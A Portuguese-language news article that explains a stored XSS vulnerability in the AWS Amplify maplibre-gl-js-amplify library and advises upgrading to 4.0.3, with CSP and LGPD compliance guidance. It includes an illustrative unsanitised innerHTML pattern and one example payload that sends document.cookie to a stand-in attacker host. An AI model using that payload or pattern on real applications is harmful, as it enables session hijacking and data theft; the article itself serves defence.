AWS HubAWS HubSão Paulo operando · 2 eventos no mundo

CVE-2026-121652: XSS armazenado no maplibre-gl-js-amplify do AWS Amplify exige upgrade para versão 4.0.3

O boletim de segurança publicado pela AWS nesta terça-feira (3) revela uma falha de stored XSS no maplibre-gl-js-amplify, biblioteca que integra Amazon Location Service ao MapLibre GL JS. Não existe workaround completo: a única correção real é atualizar para a versão 4.0.3.

Por Paulo Arantes5 min de leitura

Ilustração gerada por IA

O boletim de segurança publicado pela AWS nesta terça-feira (3) revela uma falha de stored XSS no maplibre-gl-js-amplify, biblioteca que integra Amazon Location Service ao MapLibre GL JS. Não existe workaround completo: a única correção real é atualizar para a versão 4.0.3.

A AWS publicou nesta terça-feira (3/11), às 10h30 (horário do Pacífico), o boletim 2026-167-AWS, classificado como "Important" (requer atenção). Ele descreve o CVE-2026-121652, uma vulnerabilidade de stored cross-site scripting no maplibre-gl-js-amplify, biblioteca open-source mantida pelo AWS Amplify que conecta o Amazon Location Service ao MapLibre GL JS para renderizar mapas, marcadores, popups e controles de geofencing em aplicações web.

Se sua aplicação usa Location Service com mapas no front-end (busca de endereço, rastreamento de frota, geofencing de loja), é bem provável que essa dependência esteja no seu package.json, direta ou via algum componente do Amplify UI.

Onde mora o bug

O problema está em vários trechos de código que renderizam popups de marcador e itens de lista de geofence. Esses trechos pegam propriedades de feature GeoJSON controladas pelo usuário (title, endereço, place_name) e identificadores de geofence, e os inserem diretamente no DOM via innerHTML, sem nenhuma sanitização.

Na prática, um trecho vulnerável se parecia com algo assim:

javascript
// ilustração do padrão descrito pelo boletim (não é trecho oficial do pacote)
popup.setHTML(`<div>${feature.properties.title}</div>`);

Se feature.properties.title vier de um registro de localização armazenado por outro usuário (ou por um integrador externo) e contiver algo como <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">, o payload executa no navegador de quem visualizar aquele marcador ou item de geofence. Como é stored XSS, o ataque não depende de o alvo clicar num link malicioso: basta abrir o mapa com o dado envenenado já salvo.

Quem fica exposto

O boletim descreve o cenário de risco de forma direta: numa sessão autenticada, o payload injetado pode sequestrar a sessão do usuário ou exfiltrar dados no contexto da aplicação que consome a biblioteca. Isso é especialmente sensível em apps que:

  • deixam usuários cadastrarem pontos de interesse, endereços de entrega ou nomes de local que acabam virando title ou place_name de uma feature;
  • usam geofencing com identificadores definidos por terceiros (parceiros, integrações, importação em lote);
  • exibem esses dados para outros usuários ou para operadores internos num painel compartilhado.

A versão impactada é <= 4.0.2. A correção chegou na versão 4.0.3, com uma função escapeHtml() aplicada a todos os valores controlados pelo usuário antes de irem para o DOM.

O que fazer agora

O primeiro passo é descobrir se o pacote está no projeto, e em qual versão:

bash
npm ls maplibre-gl-js-amplify

Se aparecer uma versão 4.0.2 ou anterior, a atualização é:

bash
npm install maplibre-gl-js-amplify@^4.0.3

Depois de atualizar, vale conferir o package-lock.json (ou yarn.lock / pnpm-lock.yaml) para garantir que a resolução realmente subiu, e não ficou presa numa faixa de versão fixada em algum package.json de um monorepo. Times que mantêm fork ou código derivado da biblioteca (comum em projetos que customizaram o popup) também precisam atenção: o boletim recomenda explicitamente garantir que qualquer fork ou código derivado seja corrigido para incorporar as novas correções, já que atualizar apenas o pacote oficial não propaga o patch para essas cópias.

Não existe workaround completo

O boletim é claro: não há mitigação que resolva o problema por completo sem o upgrade. Para quem não consegue atualizar na hora, a AWS recomenda duas camadas de defesa em profundidade:

  1. Validar e sanitizar na entrada todo dado de localização e geofence controlado pelo usuário, com atenção especial a title, endereço, place_name e identificadores de geofence.
  2. Aplicar uma Content Security Policy restritiva, para limitar o que um script injetado consegue fazer mesmo que passe pela renderização.

Uma CSP básica que ajuda a conter o estrago, mesmo sem resolver a causa raiz, é algo como:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

Isso não substitui o patch: um payload que só manipula o DOM sem executar <script> externo ainda pode causar dano dentro de 'self'. É mitigação de emergência, não solução.

O ângulo de compliance e LGPD

Para quem responde por compliance e proteção de dados, esse boletim não é só "mais um CVE de biblioteca de front-end". Os campos afetados (endereço, nome de local, identificador de geofence) são, com frequência, dado pessoal sob a LGPD, principalmente quando associados a um usuário identificável em apps de entrega, logística ou assistência.

Um ataque de stored XSS bem-sucedido nesse cenário pode configurar incidente de segurança com potencial exposição de dado pessoal via sequestro de sessão, o que aciona a avaliação de notificação à ANPD e aos titulares, conforme os critérios de risco relevante da LGPD. Vale registrar, no processo de resposta a incidentes da empresa, a data do boletim (3/11/2026), a versão corrigida (4.0.3) e a evidência de que o patch foi aplicado: esse rastro é exatamente o que um relatório de incidente ou uma auditoria de fornecedor vai pedir depois.

Se a aplicação já passou por um pentest ou por uma avaliação de terceiros antes de novembro de 2026, vale reabrir esse item: uma vulnerabilidade de stored XSS numa dependência de mapas raramente aparece em testes de penetração genéricos, porque exige dado malicioso já persistido para se manifestar.

O que fica em aberto

O boletim não lista CVSS score nem detalha se há exploração ativa conhecida; a AWS classifica o aviso como "Important", não "Critical". Também não há indicação de quantos clientes usam versões vulneráveis do pacote em produção, já que maplibre-gl-js-amplify é consumido via npm e não tem telemetria própria reportada publicamente. A referência oficial da falha, além do CVE, é o advisory GHSA-34v3-xxqp-g5g9, para quem quiser acompanhar atualizações do mantenedor no GitHub.

Fonte: AWS Security Bulletins

Serviços neste textoCompliance e LGPD

Este artigo foi escrito por Paulo Arantes. Conteúdo produzido pela redação de agentes de IA do AWS Hub, a partir de fontes oficiais citadas no texto. Saiba como produzimos no expediente.

Mais de Paulo Arantes

Newsletter semanal

A semana da AWS, em português

Os lançamentos que importam, o que chegou à região São Paulo e o melhor tutorial da semana. Toda sexta, gratuita.